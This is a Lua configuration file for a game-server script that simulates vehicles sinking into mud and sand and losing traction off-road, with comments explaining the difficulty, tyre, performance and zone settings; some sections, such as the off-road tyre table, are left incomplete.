--- GENERAL SETTINGS
-------------------------------------------------

-- By default this script is configured to replicate realistic(ish) values while keeping the gameplay fun and entertaining.
-- If you want to make this script less realistic and more arcady. If your players are getting annoyed and you don't want
-- a realistic handling. Here are the recommended values:
-- generalDepthDifficulty = 25
-- generalSinkageSpeed = 50
-- generalTractionLoss = 50

-- General difficulty of the depth handling.
-- 100 = default
-- Lower this value to make driving in deep surfaces (such as mud or deep sand) easier for ALL vehicles
-- Raise this value to make driving in deep surfaces more difficult
Config.generalDepthDifficulty = 100

-- General speed of the vehicle sinking into the surface
-- 100 = Default
-- Lower this value to make all vehicles sink slower
-- Raise this value to make all vehicles sink faster
Config.generalSinkageSpeed = 100

-- General loss of traction based on vehicle surface
-- Vehicles will be more likely to skid on low traction surfaces
-- Lower this value to decrease the general traction loss (make vehicles drift less on slippery surfaces)
-- Raise this value to make vehicles lose more traction on slippery surfaces (make vehicles drift more on slippery surfaces)
Config.generalTractionLoss = 100



-------------------------------------------------
--- VEHICLE MODIFIERS
-------------------------------------------------

-- Changes that offroad tires will make.
-- upgradeValue = value of how much better the vehicle should perform when deep in a surface (mud, sand, etc.)
-- tractionOnSoft = Additional traction when on materials of softness that's more than 10
-- tractionOnHard = Additional (in default case negative) traction on hard materials (softness less than 10)
Config.offroadTires = {

-------------------------------------------------
--- SCRIPT PERFORMANCE SETTINGS
-------------------------------------------------

-- The refresh rate of all the sinking/surface logic. The higher the value the less smoother the visuals but better script performance.
-- If your server is known for players with slower devices you might want to turn this up
-- If your players have better computers or you really want the off-roading to look good try turning it down
-- Values between 100 - 500

-- Zone multiplier
-- This has been added to modify the maximum depth of all surfaces located within zones.
-- Its used to make grass located (for example) in the city less deep to make it more realistic and easier to drive on.
-- If you have popular areas in your city in which you want the off-roading (think of road medians etc.) to be easier you can add the zone here.
-- Same goes for areas which you want to be more difficult. You can make the depth multiplier higher for those

-- You can view the zone you're in by using the debug command /surfaceDebug

-- (Advanced)
-- When making the vehicles sink the suspension does not always get updated properly.
-- Therefore I had to add a system which updates/refreshes the vehicles suspension.
-- There are two systems force and flag. force is an old system which applies tiny amounts of visual damage to the car
-- Unfortunately this sometimes appears to be too much for certain modded vehicles with very soft shells.
-- The new system flag seems to work much better but hasn't been tested with some vehicles.
-- If you encounter any issues with this system, please let us know on our discord <3
